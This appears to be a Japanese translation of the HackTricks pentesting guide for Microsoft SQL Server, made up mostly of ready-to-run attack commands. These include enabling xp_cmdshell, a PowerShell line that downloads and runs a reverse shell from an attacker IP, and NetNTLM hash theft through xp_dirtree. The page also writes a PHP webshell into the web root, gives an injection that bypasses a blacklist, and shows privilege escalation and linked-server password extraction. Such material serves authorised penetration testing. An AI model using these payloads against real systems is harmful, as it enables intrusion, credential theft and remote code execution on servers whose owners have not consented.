mirror of https://github.com/carlospolop/hacktricks synced 2024-11-25 22:20:43 +00:00

History

Translator d20ceb0354 Translated ['forensics/basic-forensic-methodology/partitions-file-system		2024-03-26 15:55:19 +00:00
..
README.md	Translated ['forensics/basic-forensic-methodology/partitions-file-system	2024-03-26 15:55:19 +00:00
types-of-mssql-users.md	Translated ['network-services-pentesting/11211-memcache/README.md', 'net	2024-02-09 09:15:30 +00:00

1433 - Pentesting MSSQL - Microsoft SQL Server

ゼロからヒーローまでAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）！

HackTricksをサポートする他の方法：

HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！
公式PEASS＆HackTricksスワッグを入手する
The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

基本情報

wikipediaから：

Microsoft SQL Serverは、Microsoftによって開発されたリレーショナルデータベース管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品であり、これらのアプリケーションは同じコンピューター上で実行されるか、ネットワーク（インターネットを含む）上の別のコンピューターで実行される可能性があります。

デフォルトポート: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

デフォルトのMS-SQLシステムテーブル

masterデータベース: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため重要です。
msdbデータベース: SQL Serverエージェントは、アラートやジョブのスケジューリングを管理するためにこのデータベースを利用します。
modelデータベース: SQL Serverインスタンス上のすべての新しいデータベースの設計図として機能し、サイズ、照合順序、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
Resourceデータベース: SQL Serverに付属するシステムオブジェクトが格納される読み取り専用データベースです。これらのオブジェクトは、Resourceデータベースに物理的に格納されているものの、すべてのデータベースのsysスキーマで論理的に表示されます。
tempdbデータベース: 一時的なオブジェクトや中間結果セットのための一時的なストレージ領域として機能します。

列挙

自動列挙

サービスについて何も知らない場合:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} 資格情報を持っていない場合は、それらを推測することができます。nmapまたはmetasploitを使用できます。既存のユーザー名を使用して何度かログインに失敗すると、アカウントがブロックされる可能性があるため、注意してください。 {% endhint %}

Metasploit (資格情報が必要)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

マニュアル列挙

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

一般的な列挙

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

ユーザーの取得

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

権限の取得

セキュアブル: SQL Serverによって管理されるアクセス制御用のリソースと定義されます。これらは以下のカテゴリに分類されます:

サーバ – データベース、ログイン、エンドポイント、可用性グループ、サーバロールなどが含まれます。
データベース – データベースロール、アプリケーションロール、スキーマ、証明書、フルテキストカタログ、ユーザなどが含まれます。
スキーマ – テーブル、ビュー、プロシージャ、関数、シノニムなどが含まれます。

権限: SQL Serverのセキュアブルに関連付けられた権限は、ALTER、CONTROL、CREATEなどが原則に与えられることがあります。権限の管理は次の2つのレベルで行われます:

サーバレベルではログインを使用します
データベースレベルではユーザを使用します

プリンシパル: この用語は、セキュアブルに権限が付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を備えたロールにログインやユーザを含めることによって行われます。

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

テクニック

OSコマンドの実行

{% hint style="danger" %} OSコマンドを実行できるようにするには、xp_cmdshellが有効であるだけでなく、xp_cmdshellストアドプロシージャに対するEXECUTE権限も必要です。誰が（sysadminsを除く）**xp_cmdshell**を使用できるかは次のコマンドで確認できます：

Use master
EXEC sp_helprotect 'xp_cmdshell'

{% endhint %}

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

NetNTLMハッシュの盗み出し / リレーアタック

認証で使用されるハッシュをキャプチャするためにSMBサーバーを起動する必要があります（たとえばimpacket-smbserverまたはresponderを使用します）。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

{% hint style="warning" %} これらのMSSQL関数を実行する権限を持っているかどうか（システム管理者以外）を確認できます：

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

{% endhint %}

ResponderやInveighなどのツールを使用すると、NetNTLMハッシュを盗むことができます。
これらのツールの使用方法は次の場所で確認できます：

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

MSSQL信頼リンクの乱用

この投稿 を読んで、この機能を乱用する方法について詳細を見つけてください:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

ファイルの書き込み

MSSQLを使用してファイルを書き込むには、管理者権限が必要なOle Automation Proceduresを有効にし、その後、ファイルを作成するための一部のストアドプロシージャを実行する必要があります。

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

OPENROWSETを使用してファイルを読む

デフォルトでは、MSSQLはアカウントが読み取りアクセス権を持つオペレーティングシステム内の任意のファイルを読み取ることを許可します。次のSQLクエリを使用できます:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

しかし、**BULKオプションを使用するには、ADMINISTER BULK OPERATIONSまたはADMINISTER DATABASE BULK OPERATIONS**権限が必要です。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

エラーベースのSQLi用ベクトル:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/ファイルの読み取りスクリプトの実行（PythonおよびR）

MSSQLを使用すると、Pythonおよび/またはRのスクリプトを実行できる場合があります。これらのコードは、xp_cmdshellを使用してコマンドを実行するユーザーとは異なるユーザーによって実行されます。

**'R'**の "Hellow World!" を実行しようとする例（動作しません）:

複数のアクションを実行するために構成されたPythonを使用した例:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

レジストリの読み取り

Microsoft SQL Serverは、ネットワークだけでなくファイルシステムやWindows Registryともやり取りできる複数の拡張ストアドプロシージャを提供しています:

通常	インスタンス対応
sys.xp_regread	sys.xp_instance_regread
sys.xp_regenumvalues	sys.xp_instance_regenumvalues
sys.xp_regenumkeys	sys.xp_instance_regenumkeys
sys.xp_regwrite	sys.xp_instance_regwrite
sys.xp_regdeletevalue	sys.xp_instance_regdeletevalue
sys.xp_regdeletekey	sys.xp_instance_regdeletekey
sys.xp_regaddmultistring	sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring	sys.xp_instance_regremovemultistring

# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

さらなる例については、元のソースを参照してください。

MSSQLユーザー定義関数を使用したRCE - SQLHttp

カスタム関数を使用してMSSQL内で.NET dllをロードすることが可能です。ただし、これにはdboアクセスが必要ですので、データベースへの接続がsaまたは管理者ロールとして必要です。

このリンクを参照して、例をご覧ください。

RCEの他の方法

コマンドの実行を取得する他の方法として、拡張ストアドプロシージャ、CLRアセンブリ、SQL Serverエージェントジョブ、および外部スクリプトの追加があります。

MSSQL特権昇格

db_ownerからsysadminへ

通常のユーザーが**db_ownerロールを与えられ、管理者ユーザー（たとえばsa）が所有するデータベースに対してそのデータベースがtrustworthyとして構成されている場合、そのユーザーはこれらの権限を悪用して特権昇格を行うことができます。なぜなら、そのデータベースに作成されたストアドプロシージャが所有者（管理者）として実行**できるからです。

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

metasploit モジュールを使用できます：

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

またはPSスクリプト：

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

他のユーザーへのなりすまし

SQL Serverには、**IMPERSONATE**という特別な権限があり、実行ユーザーが別のユーザーやログインの権限を引き継ぐことができます。この状態はリセットされるかセッションが終了するまで続きます。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

{% hint style="info" %} ユーザーをなりすませることができる場合、そのユーザーが他のデータベースやリンクされたサーバーにアクセスできるかどうかをチェックする必要があります。

なお、一度sysadminになると、他のどのユーザーでもなりすますことができます： {% endhint %}

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

この攻撃は、metasploit モジュールを使用して実行することができます。

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

または、PS スクリプトを使用してもいいです:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

MSSQLを永続化に使用する

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

SQL Serverリンクサーバーからパスワードを抽出する

攻撃者はSQL ServerリンクサーバーのパスワードをSQL Instancesから抽出し、それらを平文で取得することができ、攻撃者により大きな足場を獲得するために使用できるパスワードを提供します。リンクサーバーのために格納されたパスワードを抽出および復号化するスクリプトはこちらで見つけることができます。

この脆弱性を利用するためには、いくつかの要件と構成が必要です。まず第一に、マシンで管理者権限を持っているか、SQL Serverの構成を管理する権限を持っている必要があります。

権限を検証した後、以下の3つの構成を行う必要があります：

SQL ServerインスタンスでTCP/IPを有効にすること。
スタートアップパラメータを追加すること。この場合、追加されるトレースフラグは-T7806です。
リモート管理接続を有効にすること。

これらの構成を自動化するために、このリポジトリに必要なスクリプトがあります。構成スクリプトとパスワードの抽出と復号化を組み合わせた完全なスクリプトもリポジトリにあります。

この攻撃に関する詳細情報については、次のリンクを参照してください： MSSQLデータベースリンクサーバーパスワードの復号化

SQL Server専用管理者接続のトラブルシューティング

ローカル特権昇格

MSSQLサーバーを実行しているユーザーは、特権トークンSeImpersonatePrivilegeを有効にしています。
おそらく、これらの2つのページのいずれかに従って管理者に昇格することができるでしょう：

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}

Shodan

port:1433 !HTTP

参考文献